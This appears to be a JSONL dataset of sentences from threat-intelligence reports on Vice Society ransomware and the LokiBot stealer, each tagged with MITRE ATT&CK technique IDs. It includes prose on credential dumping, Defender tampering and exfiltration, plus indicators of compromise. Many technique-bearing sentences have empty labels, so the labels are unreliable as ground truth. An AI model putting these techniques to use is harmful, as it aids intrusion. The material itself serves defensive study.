{"sentence": "These tweets depicted HelloKitty ransomware payloads appending a .v-society extension to encrypted files on June 10, 2021.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In 2021 and 2022, Vice Society used Zeppelin to target Windows hosts.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "During their 2021 infections, these attackers also exploited vulnerabilities such as PrintNightmare to escalate privileges and spread laterally across targeted networks.", "labels": ["T1068"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Based on leak site activity we’ve observed in recent months, as shown in Figure 1, we saw a subtle spike at the turning point from 2021 to 2022.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This was followed by one large spike of activity at the end of spring 2022.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As education organizations are the group’s prime target, this could be an indication that they’re timing campaigns to coincide with this sector’s unique calendar year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The school year for most educational institutions in the U.S. typically starts in late August-September and ends in June.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "They might have been trying to time their attacks in 2022 with the transitions of the beginning and end of the school year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Other targeted sectors include healthcare and nongovernmental organizations (NGOs).", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "A lack of budgeting for systems and security solutions has led many organizations to run legacy hardware that isn’t patched against the latest vulnerabilities.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Other challenges that could increase the overall attack surface of these organizations include difficulties in controlling and managing a large number of personal devices brought in by students and staff members.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These personal devices introduce inherent risk because they may interact with personal files via cloud services.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Although these sectors might have dedicated IT or security teams that run traditional security solutions such as an intrusion detection system (IDS) or intrusion prevention system (IPS), ransomware threat actors are leveraging living off the land techniques that can effectively circumvent traditional signature-based detection mechanisms.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "These tactics require an extended detection and response (XDR) platform for more robust behavioral monitoring within a network.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The education and healthcare sectors also experience the common challenge of finding staff who are adequately trained to handle the ongoing threat of ransomware.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "And lastly, many of these organizations are charged with protecting some of the most sensitive and valuable personally identifiable information (PII) of any business sector.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Geographical Impact Vice Society is primarily opportunistic, and its targets have included organizations across the globe.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The group has infected organizations based in all regions, as shown in Figures 3 and 4, with the largest numbers in the U.S., followed by the U.K., Spain, France, Brazil, Germany and Italy. Figure 3.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Global geographic distribution of organizations listed on Vice Society leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The CISA advisory mentions how Vice Society has disproportionately targeted educational institutions in the United States.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society United States victimology (all leak site victim data).Impacted Industry Verticals Although Vice Society has been in the headlines for targeting educational organizations, they also extort victims in many other industry verticals, as shown in Figure 6, including those supplying critical infrastructure, such as healthcare, government entities and manufacturing.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Industry verticals targeted by Vice Society (leak site data).Leak Site Metric Comparisons", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "According to analysis of ransomware leak sites, Unit 42 has identified Vice Society as being in the top 10 of the most impactful ransomware gangs of 2022.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "We estimate that, since it started operations in 2021, Vice Society has impacted more than 100 organizations in total.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Leak site data suggests that Vice Society has had the highest impact on education organizations this year, with at least 33 educational institutions having been listed on the group’s dedicated ransomware leak site.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This impact is closely followed by ransomware families such as LockBit 2.0 and 3.0, as shown in Figure 7. Figure 7.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Top ransomware families targeting educational institutions in 2022 (leak site data).Unit", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Let’s look at some of the data from these incidents.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In Unit 42 IR cases regarding Vice Society, we observed dwell times as high as six days.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Ransom Demands When tracking ransomware group operations, Unit 42 takes note of the initial and final ransom demands made by each ransomware group.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This allows us to better understand how aggressive a particular ransomware gang’s demands might be for particular industry verticals, and to get a general view into the rate at which a particular actor might drive their demands down after negotiations take place.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Final demands after negotiations were as high as $460,000.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The difference between initial demands and final demands could be significant.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "We saw decreases as large as 60%.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society active leak site mirror (Oct. 20).On Oct. 25, the original .onion address became active again.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "It was updated to include additional blog sections.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As of early November, the “Our Blog” page showcased one article that highlights the group's notoriety, as shown in Figure 9. Figure 9.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The new “For Victims” page directs victims to the ransom note that is dropped as part of the group’s infection chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This is followed by additional instructions in case the victim doesn’t respond to one of the contact emails provided in their ransom note.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society leak site victims page.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The “For Journalists” page depicts a “Frequently Asked Questions” section to address general questions about the group, as shown in Figure 11. Figure 11.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society leak site journalists page.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "HelloKitty Usage At the start of the group’s observed operations in 2021, Vice Society affiliates used the HelloKitty Ransomware variant as a primary payload in their infection chain.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This variant gets its name from its mutex: HELLOKITTYMutex.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "This Linux sample led to the discovery of additional HelloKitty samples for Linux dating back to October 2020.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Similar to ransomware variants like BlackCat, HelloKitty ransomware typically requires a key to execute, to hinder analysis efforts.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In HelloKitty’s case, this key is typically obfuscated with AES 256 encryption.", "labels": ["T1027"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "As mentioned in our previous report detailing emerging ransomware families in 2021, HelloKitty features multiple flags that could be set as command line arguments, which are detailed in Table 1 of the linked report.", "labels": ["T1059.003"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "ALL YOUR FILES ARE ENCRYPTED !!!", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The contact email address provided by the threat actor vary between samples, but the public v-society.official@onionmail[.]org address and the Tor .onion link remain consistent.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society ransom note using Zeppelin ransomware.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The opportunistic targeting often seen with cybercriminals can put even school districts with robust cybersecurity programs at risk.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "K-12 institutions may be seen as particularly lucrative targets due to the amount of sensitive student data accessible through school systems or their managed service providers.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Vice Society and its consistent targeting of the education industry vertical, particularly around the September time frame, serves as a warning that this group has shaped their campaigns to take advantage of the school year in the U.S.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "It’s likely they’ll maintain use of these tactics to impact the cyberthreat landscape moving forward, as long as their activities continue to be lucrative for them.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Educational institutions should continue to implement security best practices and be wary of the ongoing threat of ransomware, especially during the start and end of the school year.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "In a school environment, there are many educators who can help inform trainings for both staff and students to learn what they need to do to maintain security for everyone in the organization.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "They will likely continue leveraging additional ransomware strains in the future, as well as exploiting newly disclosed vulnerabilities.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Tactics, Techniques and Procedures (TTPs)", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Unit 42 has observed the following TTPs being used by Vice Society in past incident response engagements involving the group.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "The following table illustrates these TTPs according to the MITRE ATT&CK framework.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0001 Initial Access T1566 Phishing Vice Society is known to use phishing to gain initial access to victims’ systems.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1078 Valid Accounts Compromised valid credentials have been used by Vice Society to gain initial access.", "labels": ["T1078"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1190 Exploit Public-Facing Applications Internet-facing applications and systems vulnerabilities can be exploited, such as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527), to gain initial access.", "labels": ["T1190"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0002 Execution T1047 Windows Management Instrumentation (WMI) Malicious commands are executed via WMI as a means of “living off the land” and avoiding detection.", "labels": ["T1047"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Scheduled Task/Job Vice Society is known to execute commands via scheduled tasks/jobs.", "labels": ["T1053.005"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Powershell Vice Society utilizes PsExec for execution, persistence and defense evasion.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0003 Persistence T1543.003 Modify System Process To maintain access to compromised systems, Vice Society leverages Windows operating functions to execute encrypted PowerShell.", "labels": ["T1027"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1547.001 Registry Run Keys/Startup Folder Persistence is maintained after boot/reboot via malicious autostart registry keys.", "labels": ["T1547.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1574.002 DLL Side-Loading Vice Society utilizes legitimate programs to side-load the group’s own DLL to execute their payload.", "labels": ["T1574.002"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0004 Privilege Escalation T1068 Exploitation for Privilege Escalation Software vulnerabilities, such as PrintNightmare (CVE-2021-1675) and (CVE-2021-34527), may be exploited in an attempt to elevate privileges.", "labels": ["T1068"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1055 Process Injection Legitimate processes have been corrupted by Vice Society via code injection, as a means to evade defenses.", "labels": ["T1055"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1070 Indicator Removal on Host As with many other ransomware groups, Vice Society attempts to clear system, security and application logs on compromised machines.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1112 Modify Registry Vice Society attempts to disable Windows Defender by modifying the Registry.", "labels": ["T1112", "T1562.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1497 Sandbox Evasion Vice Society attempts to thwart reverse engineering and/or dynamic analysis via various sandbox evasion techniques.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0006 Credential Access T1003 OS Credential Dumping Vice Society is known to utilize ntds.dit and comsvcs.dll to extract credentials.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1003.003 OS Credential Dumping: NTDS Vice Society attempts to “live off the land” by utilizing ntds.dit and ntdsutil.exe to dump Active Directory Database in an effort to obtain credentials.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1482 Domain Trust Discovery Vice Society has been seen using the attack path reconnaissance tool Bloodhound during the initial stages of their attack before ransomware is deployed.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Remote Services RDP is used by the group for lateral movement.", "labels": ["T1021.001"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1021.002 Remote Services: SMB/Windows Admin Shares SMB shares have been used by Vice Society for lateral movement.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1080 Taint Shared Content Network drives and other shared storage locations are used by Vice Society to deliver payloads.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1570 Lateral Tool Transfer Lateral tool transfers have been used to move tools and files from one compromised system to another, including SMB and RDP.", "labels": ["T1570"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1041 Exfiltration over C2 Channel Tools such as PowerShell and PsExec are used to exfiltrate data directly to C2 servers.", "labels": ["T1041"], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "T1567.002 Exfiltration Over Web Service: Exfiltration to Cloud Storage Cloud storage and transfer services such as Mega.nz, Anonfiles.com, File.io, and Sendspace have been used by Vice Society to exfiltrate victim data.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0011 Command and Control T1219", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "TA0040 Impact T1486 Data Encrypted for Impact Vice Society is known for its extortion tactics, encrypting devices and demanding a ransom.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Indicators of Compromise (IoCs) HelloKitty Elf samples featuring Vice Society ransom note header: 643a3121166cd1ee5fc6848f099be7c7c24d36f5922f58052802b91f032a5f0f 754f2022b72da704eb8636610c6d2ffcbdae9e8740555030a07c8c147387a537 78efe6f5a34ba7579cfd8fc551274029920a9086cb713e859f60f97f591a7b04 16a0054a277d8c26beb97850ac3e86dd0736ae6661db912b8782b4eb08cfd36e Zeppelin ransomware with the Vice Society ransom note header: 4a4be110d587421ad50d2b1a38b108fa05f314631066a2e96a1c85cc05814080 307877881957a297e41d75c84e9a965f1cd07ac9d026314dcaff55c4da23d03e faa79c796c27b11c4f007023e50509662eac4bca99a71b26a9122c260abfb3c6 dd89d939c941a53d6188232288a3bd73ba9baf0b4ca6bf6ccca697d9ee42533f 4440763b18d75a0f9de30b1c4c2aeb3f827bc4f5ea9dd1a2aebe7e5b23cfdf94 24efa10a2b51c5fd6e45da6babd4e797d9cae399be98941f950abf7b5e9a4cd7 bafd3434f3ba5bb9685e239762281d4c7504de7e0cfd9d6394e4a85b4882ff5d aa7e2d63fc991990958dfb795a0aed254149f185f403231eaebe35147f4b5ebe 001938ed01bfde6b100927ff8199c65d1bff30381b80b846f2e3fe5a0d2df21d Ab440c4391ea3a01bebbb651c80c27847b58ac928b32d73ed3b19a0b17dd7e75 Contact information: vicesociety@onionmail[.]org v-society.official@onionmail[.]org LarryGold@onionmail[.]org MollyThomson@onionmail[.]org BruceBoyle@onionmail[.]org SylvesterJones@onionmail[.]org brendaevans4454@onionmail[.]org warreinolds77@onionmail[.]org DaltonReed@onionmail[.]org FreddieFerrell@onionmail[.]org lewiselsberry@onionmail[.]org inezeng@onionmail[.]org lonnieguzman@onionmail[.]org thomasmoore@onionmail[.]org Domains: vsociethok6sbprvevl4dlwbqrzyhxcxaqpvcqt5belwvsuxaxsutyad[.]onion Qu5dci2k25x2imgki2dbhcwegqqsqsrjj5d3ugcc5kpsgbtj2psaedqd[.]onion Wavbeudogz6byhnardd2lkp2jafims3j7tj6k6qnywchn2csngvtffqd[.]onion gunyhng6pabzcurl7ipx2pbmjxpvqnu6mxf2h3vdeenam34inj4ndryd[.]onion Additional Resources Threat Brief:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Assessment: Zeppelin Ransomware#StopRansomware: Vice Society | CISADark Web Profile: Vice Society - SOCRadar:registered: Cyber Intelligence Inc.", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Michael Gillespie Twitter postUnit 42 ATOM: HelloKittyUNC2447 SOMBRAT and FIVEHANDS Ransomware:", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "A Sophisticated Financial Threat | Mandiant Get updates from Palo Alto Networks! Sign up to receive the latest news, cyber threat intelligence and research from us", "labels": [], "doc_title": "Vice Society Profiling a Persistent Threat to the Education Sector"}
{"sentence": "Executive Summary Unit 42 researchers have uncovered a malware distribution campaign that is delivering the LokiBot information stealer via business email compromise (BEC) phishing emails.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This malware is designed to steal sensitive information from victims' systems, such as passwords and banking information, as well as other sensitive data.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "In this blog, we will explain how attackers used an innocent-looking email to lure victims into opening an attachment.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The attachment contained a LokiBot information stealer.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Finally, we will list the various applications from which the malware steals data.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The Appendix of this blog will provide an in-depth description of each data byte in the HTTP based C2 communication, detailing the specific purpose of each byte.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It will also provide a breakdown of how the data byte is structured.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "StageLoaderFinal PayloadObfuscationMain", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Stealing FeaturePersistenceHTTP C2 CommunicationConclusionIndicators of CompromiseSamplesInfrastructureAdditional ResourcesAppendix Introduction LokiBot (often referred to as Loki-bot or Loki PWS) is notorious information-stealing malware.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It collects sensitive data from web browsers, email clients, FTP servers and crypto wallets.", "labels": ["T1552.001"], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The malware can also create a backdoor on the infected machine, enabling an attacker to install further malicious software.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "First identified in 2015, LokiBot has since been used in multiple security breaches.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Furthermore, the malware is constantly evolving, making it difficult to contain and protect against.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "After analyzing its traffic patterns, we identified that it belonged to a LokiBot infection.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "After investigating the attack vector delivering this malware and further network traffic activity, we found the original email that included a ZIP file attached, which contained an ISO file.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The ISO file had the final payload.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We have found that this attempt to deliver the LokiBot malware has strong ties to a BEC campaign.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Victims might also notice missing or deleted emails due to unauthorized access to email systems.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "When collecting data, we also analyzed additional threat intel data sources such as ThreatFox.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We noticed that LokiBot activity had a relatively small amount of indicators of compromise (IoCs) when we first detected this sample.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "During this time, cyberattacks are often more effective as security and other personnel take this time off.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 2 shows LokiBot activity from ThreatFox. Figure 2.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "ThreatFox LokiBot monitoring.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Data source: ThreatFox.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "In this instance, it is used to deliver the LokiBot malware.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "By using this file format, the attackers are trying to bypass malspam detection technologies that usually focus on detecting file types more commonly used in malware infection chains (e.g., EXE and DLL files, MS Office files).", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "To the victim, the opening process simply looks like a regular directory.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This file is an obfuscated .NET file using process hollowing, which is a code injection technique in which an attacker removes legitimate code from an executable and replaces it with malicious code.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "In this case, process hollowing was used to inject a malicious PE file into the legitimate process called aspnet_compiler.exe.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 3 shows some IoCs in the memory of the infected process.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Dumping the PE from the process memory gives us access to the final LokiBot payload.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The infected process that contains IoCs.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Malware authors use this technique to retrieve export functions from loaded libraries using a computed hash.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 4 shows a Python implementation of the API hashing algorithm used in the malware sample.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "API hashing algorithm.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Main Stealing Feature The main function of the sample is building two arrays of 101 elements.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The first array is filled with indexes, and the second array is filled with pointers to functions.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "These functions are made to steal credentials from different types of applications and services on the Windows operating system: Browsers: Safari, Internet Explorer, Firefox and Chromium-based browsers FTP/SSH apps and clients Backup applications Email applications Notes applications Poker applications Password managers Windows credentials The main function of the malware is looping over these stealer functions to execute them, as shown in Figure 5. Figure 5.", "labels": ["T1552.001"], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "All the credentials collected and extracted from the installed software will then be compressed by the aPLib algorithm and submitted to the C2 server through HTTP protocol using the POST method.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We’ll go into this in more detail in the HTTP C2 Communication section.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Then, it creates and sets a new value for the registry key HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This value, named as the created folder, is set to the path of the copied executable.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "HTTP C2 Communication LokiBot exfiltrates information to the C2 through the HTTP protocol.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "It also contains a User-Agent set as “Mozilla/4.08 (Charon; Inferno)”, and the Content-Key, which is a custom HTTP header whose value corresponds to a hash generated out of the HTTP header.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Figure 6 shows a HTTP POST request and its corresponding message body.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This body contains the exfiltrated information, which is highlighted in different colors for each field.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We’ve also included the corresponding offset and size to provide a better visual reference of the data structure used by the malware, and to easily cross-reference each field of interest.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Similar to other information-stealing malware, this threat searches for and exfiltrates the following information: OS architecture Built-in admin Domain host name Hostname Local admin Operating system Screen resolution Username information The exfiltrated data that is unique to this information stealer malware includes the following: Unique key, which is an identifier that includes five randomly generated characters Binary ID, which indicates a domain that is commonly used in LokiBot infections (ckav[.]ru) Mutex value, which consists of a 24-character length string (taken from hashing the machine’s GUID using the MD5 algorithm)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The bot also makes use of different payload types (located at the third and fourth byte of the HTTP body).", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "These types include the following: Stolen application/credential data (0x27) Get C2 commands from C2 Server (0x28) Exfiltrate keylogger data (0x2B) Other versions of this malware family can use additional payload types depending on the final action including the following: Exfiltrate cryptocurrency wallet (0x26) Exfiltrate files (0x29)", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "There have been multiple versions of this threat.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "The Palo Alto Networks machine learning-based C2 detection solution, as part of Advanced Threat Prevention, detects and stops malicious C2 activity inline.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "This ensures that the detection capabilities are always up to date and capable of countering the ever-evolving threats posed by malicious actors.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "We would like to extend our gratitude to Doel Santos from Unit 42 and Nina Smith for helping on this investigation.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Palo Alto Networks customers receive protections from and mitigations for LokiBot information stealer C2 communication in the following ways: We have distilled the knowledge we’ve gained from responding to hundreds of BEC incidents into our BEC Readiness Assessment offering, which is designed to help organizations strengthen their processes and technology to mitigate threats like the ones discussed in this blog.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "+65.6983.8730 Japan: +81.50.1790.0200 Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance (CTA) members.", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Learn more about the Cyber Threat Alliance. Indicators of Compromise Samples ZIP file: 4edd01345f58b9cc04a88ca15d6b82895f44f5b9cb51ad63b809de09029670ac ISO: 8a5a024272361bb1ae12860c033bb52685d7b0ea3bce5fac46439f3f3ad36a84 Loader: 1b574a66c84924886daec4841e1b107258e019aaf6f336329ae8fae7cbd52a34 Infrastructure efvsx[.]gq 188.114.96[.]13 Additional Resources Appendix Field Description Offset Size LokiBot version 0x0 0x2 Payload type 0x2 0x2 BinaryID unicode 0x4 0x2 BinaryID length 0x6 0x4", "labels": [], "doc_title": "Spike in LokiBot Activity During Final Week of 2022"}
{"sentence": "Hash functions are a crucial primitive in cryptography, and zero-knowledge proof systems often make heavy use of them, for example when computing Merkle tree roots and paths.", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
{"sentence": "[Zcash].", "labels": [], "doc_title": "Breaking Pedersen Hashes in Practice"}
